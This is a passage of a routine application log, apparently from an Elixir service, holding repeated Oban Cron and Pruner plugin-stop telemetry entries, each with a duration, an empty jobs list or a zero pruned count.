[info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:16.332 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:46.334 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.311 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:16.335 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:46.337 [info] {"source":"oban","duration":794,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.312 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:16.339 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:46.340 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.313 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:16.341 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:46.342 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.314 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:16.343 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:46.344 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.315 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:16.345 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:46.346 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.317 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:16.347 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:46.349 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.317 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:16.350 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:46.351 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.318 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:16.353 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:46.354 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.319 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:16.355 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:46.356 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.320 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:16.358 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:46.359 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.321 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:16.360 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:46.361 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.322 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:16.362 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:46.363 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.323 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:16.364 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:46.365 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.324 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:16.367 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:46.368 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.325 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:16.369 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:46.370 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.326 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:16.371 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:46.372 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.327 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:16.373 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:46.374 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.328 [info] {"source":"oban","duration":279,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:16.375 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:46.376 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.329 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:16.377 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:46.378 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.330 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:16.379 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:46.380 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.331 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:16.381 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:46.382 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.332 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:16.383 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:46.384 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.333 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:16.385 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:46.386 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.334 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:16.387 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:46.388 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.335 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:16.389 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:46.390 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.336 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:16.391 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:46.392 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.337 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:16.393 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:46.394 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.338 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:16.395 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:46.396 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.339 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:16.397 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:46.398 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.340 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:16.399 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:46.400 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.341 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:16.401 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:46.401 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.342 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:16.403 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:46.404 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.343 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:16.405 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:46.406 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.344 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:16.407 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:46.409 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.345 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:44:16.410 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:46.411 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.346 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:45:16.412 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:46.413 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.347 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:46:16.414 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:46.415 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.348 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:47:16.416 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:46.417 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.349 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:48:16.418 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:46.419 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.350 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:49:16.420 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:46.421 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.351 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:50:16.422 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:46.423 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.352 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:51:16.425 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:46.426 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.353 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:52:16.427 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:46.428 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.354 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:53:16.430 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:46.431 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.355 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:54:16.432 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:46.433 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.356 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:55:16.434 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:46.435 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.357 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:56:16.436 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:46.437 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.358 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:57:16.438 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:46.439 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.359 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:58:16.441 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:46.442 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.360 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:59:16.443 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:46.445 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.361 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:00:16.446 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:46.447 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.362 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:01:16.449 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:46.450 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.363 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:02:16.451 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:46.452 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.364 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:03:16.453 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:46.454 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.365 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:16.455 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:46.456 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.366 [info] {"source":"oban","duration":318,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:16.458 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:46.459 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.367 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:16.460 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:46.461 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.368 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:16.462 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:46.463 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.369 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:16.464 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:46.465 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.370 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:16.466 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:46.467 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.371 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:16.468 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:46.469 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.372 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:16.471 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:46.472 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.373 [info] {"source":"oban","duration":95,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:12:16.473 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:46.474 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.374 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:13:16.475 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:46.475 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.375 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:14:16.477 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:46.478 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.377 [info] {"source":"oban","duration":348,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:15:16.479 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:46.480 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.377 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:16:16.481 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:46.482 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.378 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:17:16.483 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:46.484 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.379 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:18:16.485 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:46.486 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.380 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:19:16.488 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:46.490 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.381 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:20:16.491 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:46.492 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.382 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:21:16.493 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:46.494 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.383 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:22:16.495 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:46.496 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.384 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:16.497 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:46.498 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.385 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:16.499 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:46.500 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.386 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:16.501 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:46.502 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.387 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:16.503 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:46.504 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.388 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:16.505 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:46.506 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.389 [info] {"source":"oban","duration":311,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:16.507 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:46.508 [info] 